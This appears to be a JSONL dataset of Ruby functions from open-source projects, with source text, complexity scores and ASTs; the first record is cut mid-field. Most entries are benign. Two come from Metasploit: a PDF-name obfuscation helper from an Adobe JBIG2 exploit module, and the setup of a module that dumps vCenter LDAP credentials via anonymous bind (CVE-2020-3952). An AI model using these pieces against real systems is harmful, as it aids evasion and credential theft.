end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credentials\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"BitbucketServerImport\"]},\"ProjectCreator\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project_key\"]},{\"type\":\"send\",\"children\":[null,\"repo_slug\"]},{\"type\":\"send\",\"children\":[null,\"repo\"]},{\"type\":\"send\",\"children\":[null,\"project_name\"]},{\"type\":\"send\",\"children\":[null,\"target_namespace\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"credentials\"]},{\"type\":\"send\",\"children\":[null,\"timeout_strategy\"]}]},\"execute\"]}]}","id":"c21e5553-b847-4541-ba77-932ac058a701"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/points/params.rb","start_line":6,"raw_source":"def initialize(json, user_id)\n    @data = json.with_indifferent_access\n    @points = @data[:locations]\n    @user_id = user_id\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"with_indifferent_access\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@points\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locations\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_id\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}","id":"361d35fb-e00d-445b-a31b-127898826799"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/or_test.rb","start_line":39,"raw_source":"def test_or_with_bind_params\n      assert_equal Post.find([1, 2]).sort_by(&:id), Post.where(id: 1).or(Post.where(id: 2)).sort_by(&:id)\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_or_with_bind_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"b7e38c87-ce7c-40ee-b94a-a182dd60c728"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/ci/build_trace_chunk_spec.rb","start_line":31,"raw_source":"def redis_instance\n    {\n      redis: Gitlab::Redis::SharedState,\n      redis_trace_chunks: Gitlab::Redis::TraceChunks\n    }[data_store]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis_trace_chunks\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"TraceChunks\"]}]}]},\"[]\",{\"type\":\"send\",\"children\":[null,\"data_store\"]}]}]}","id":"f792e786-7f04-4b2e-84f8-a6e6b5f85508"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/base.rb","start_line":64,"raw_source":"def host_uri\n            URI(@storage.host)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"host_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"host\"]}]}]}","id":"cc116497-67a3-4032-9ff4-6dbec59706ab"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/price.rb","start_line":65,"raw_source":"def compare_at_money\n      Spree::Money.new(compare_at_amount || 0, currency: currency)\n    end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_at_money\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Money\"]},\"new\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare_at_amount\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}","id":"a5ff5563-8923-46bc-b92e-e2e430d5a480"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/image.rb","start_line":43,"raw_source":"def style_dimensions(name)\n      size = self.class.styles[name]\n      width, height = size.chop.split('x').map(&:to_i)\n\n      {\n        width: width,\n        height: height\n      }\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"style_dimensions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"styles\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"width\"]},{\"type\":\"lvasgn\",\"children\":[\"height\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"chop\"]},\"split\",{\"type\":\"str\",\"children\":[\"x\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"lvar\",\"children\":[\"height\"]}]}]}]}]}","id":"22f32988-a5d5-4ca5-9a11-876c94e57783"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_filter.rb","start_line":895,"raw_source":"def exclude_topics_with_all_tags(tag_ids)\n    where_clause = []\n\n    tag_ids.each do |tag_id|\n      sql_alias = \"tt#{topic_tags_alias}\"\n\n      @scope =\n        @scope.joins(\n          \"LEFT JOIN topic_tags #{sql_alias} ON #{sql_alias}.topic_id = topics.id AND #{sql_alias}.tag_id = #{tag_id}\",\n        )\n\n      where_clause << \"#{sql_alias}.topic_id IS NULL\"\n    end\n\n    @scope = @scope.where(where_clause.join(\" OR \"))\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exclude_topics_with_all_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"where_clause\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql_alias\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tt\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_tags_alias\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_tags \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_alias\"]}]},{\"type\":\"str\",\"children\":[\" ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_alias\"]}]},{\"type\":\"str\",\"children\":[\".topic_id = topics.id AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_alias\"]}]},{\"type\":\"str\",\"children\":[\".tag_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where_clause\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_alias\"]}]},{\"type\":\"str\",\"children\":[\".topic_id IS NULL\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where_clause\"]},\"join\",{\"type\":\"str\",\"children\":[\" OR \"]}]}]}]}]}]}","id":"44dc009c-738e-4ed9-9d87-212cba9f7a1f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/adobe_jbig2decode.rb","start_line":149,"raw_source":"def n_obfu(str)\n    result = \"\"\n    str.scan(/./u) do |c|\n      if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'\n        result << \"#%x\" % c.unpack(\"C*\")[0]\n      # Randomize the spaces and newlines\n      elsif c == \" \"\n        result << \" \" * (rand(3) + 1)\n        if rand(2) == 0\n          result << \"\\x0d\\x0a\"\n          result << \" \" * rand(2)\n        end\n      else\n        result << c\n      end\n    end\n    result\n  end","complexity_score":44.95,"ast_json":"{\"type\":\"def\",\"children\":[\"n_obfu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"regopt\",\"children\":[\"u\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"upcase\"]},\">=\",{\"type\":\"str\",\"children\":[\"A\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"upcase\"]},\"<=\",{\"type\":\"str\",\"children\":[\"Z\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"#%x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"==\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[2]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"66bcff22-69c3-4d6e-8204-41fb8a406d5b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/answerhub.rb","start_line":434,"raw_source":"def process_mentions(body)\n    raw = body.dup\n\n    # https://example.forum.com/forums/users/1469/XYZ_Rob.html\n    raw.gsub!(%r{(https://example.forum.com/forums/users/\\d+/[\\w_%-.]*.html)}) do\n      legacy_url = $1\n      import_user_id =\n        legacy_url.match(%r{https://example.forum.com/forums/users/(\\d+)/[\\w_%-.]*.html}).captures\n\n      user = @lookup.find_user_by_import_id(import_user_id[0])\n      if user.present?\n        # puts \"/users/#{user.username}\"\n        \"/users/#{user.username}\"\n      else\n        # puts legacy_url\n        legacy_url\n      end\n    end\n\n    # /forums/users/395/petrocket.html\n    raw.gsub!(%r{(/forums/users/\\d+/[\\w_%-.]*.html)}) do\n      legacy_url = $1\n      import_user_id = legacy_url.match(%r{/forums/users/(\\d+)/[\\w_%-.]*.html}).captures\n\n      # puts raw\n      user = @lookup.find_user_by_import_id(import_user_id[0])\n      if user.present?\n        # puts \"/users/#{user.username}\"\n        \"/users/#{user.username}\"\n      else\n        # puts legacy_url\n        legacy_url\n      end\n    end\n\n    raw\n  end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_mentions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(https://example.forum.com/forums/users/\\\\d+/[\\\\w_%-.]*.html)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"legacy_url\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"import_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"legacy_url\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"https://example.forum.com/forums/users/(\\\\d+)/[\\\\w_%-.]*.html\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"captures\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"find_user_by_import_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_user_id\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/users/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]},{\"type\":\"lvar\",\"children\":[\"legacy_url\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(/forums/users/\\\\d+/[\\\\w_%-.]*.html)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"legacy_url\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"import_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"legacy_url\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/forums/users/(\\\\d+)/[\\\\w_%-.]*.html\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"captures\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"find_user_by_import_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_user_id\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/users/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]},{\"type\":\"lvar\",\"children\":[\"legacy_url\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}","id":"90daae25-2236-46f4-8c99-0e1b83226a6f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/cookie_store_test.rb","start_line":179,"raw_source":"def test_deserializes_unloaded_classes_on_get_id\n    with_test_route_set do\n      with_autoload_path \"session_autoload_test\" do\n        cookies[SessionKey] = EncryptedSerializedCookie\n        get \"/get_session_id\"\n        assert_response :success\n        assert_equal \"id: ce8b0752a6ab7c7af3cdb8a80e6b9e46\", response.body, \"should auto-load unloaded class\"\n      end\n    end\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deserializes_unloaded_classes_on_get_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_autoload_path\",{\"type\":\"str\",\"children\":[\"session_autoload_test\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"SessionKey\"]},{\"type\":\"const\",\"children\":[null,\"EncryptedSerializedCookie\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/get_session_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"id: ce8b0752a6ab7c7af3cdb8a80e6b9e46\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]},{\"type\":\"str\",\"children\":[\"should auto-load unloaded class\"]}]}]}]}]}]}","id":"31d6e3f0-583f-4f6e-9dfe-974ecaeeb626"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VMware vCenter Server vmdir Information Disclosure',\n        'Description' => %q{\n          This module uses an anonymous-bind LDAP connection to dump data from\n          the vmdir service in VMware vCenter Server version 6.7 prior to the\n          6.7U3f update, only if upgraded from a previous release line, such as\n          6.0 or 6.5.\n          If the bind username and password are provided (BIND_DN and LDAPPassword\n          options), these credentials will be used instead of attempting an\n          anonymous bind.\n        },\n        'Author' => [\n          'Hynek Petrak', # Discovery, hash dumping\n          'wvu' # Module\n        ],\n        'References' => [\n          ['CVE', '2020-3952'],\n          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],\n          ['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]\n        ],\n        'DisclosureDate' => '2020-04-09', # Vendor advisory\n        'License' => MSF_LICENSE,\n        'Actions' => [\n          ['Dump', { 'Description' => 'Dump all LDAP data' }]\n        ],\n        'DefaultAction' => 'Dump',\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 636\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it'])\n    ])\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VMware vCenter Server vmdir Information Disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module uses an anonymous-bind LDAP connection to dump data from\\n\"]},{\"type\":\"str\",\"children\":[\"          the vmdir service in VMware vCenter Server version 6.7 prior to the\\n\"]},{\"type\":\"str\",\"children\":[\"          6.7U3f update, only if upgraded from a previous release line, such as\\n\"]},{\"type\":\"str\",\"children\":[\"          6.0 or 6.5.\\n\"]},{\"type\":\"str\",\"children\":[\"          If the bind username and password are provided (BIND_DN and LDAPPassword\\n\"]},{\"type\":\"str\",\"children\":[\"          options), these credentials will be used instead of attempting an\\n\"]},{\"type\":\"str\",\"children\":[\"          anonymous bind.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hynek Petrak\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-3952\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.vmware.com/security/advisories/VMSA-2020-0006.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1003_OS_CREDENTIAL_DUMPING\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-04-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Dump\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Dump all LDAP data\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Dump\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[636]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BASE_DN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"LDAP base DN if you already have it\"]}]}]}]}]}]}]}","id":"9ca98dfb-d173-47d3-9d7f-b821159f4ac5"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":227,"raw_source":"def register_modifier(modifier_name, &blk)\n    DiscoursePluginRegistry.register_modifier(self, modifier_name, &blk)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_modifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"modifier_name\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"register_modifier\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"modifier_name\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"3045da98-35c9-4d88-bb72-b71d1985933c"}
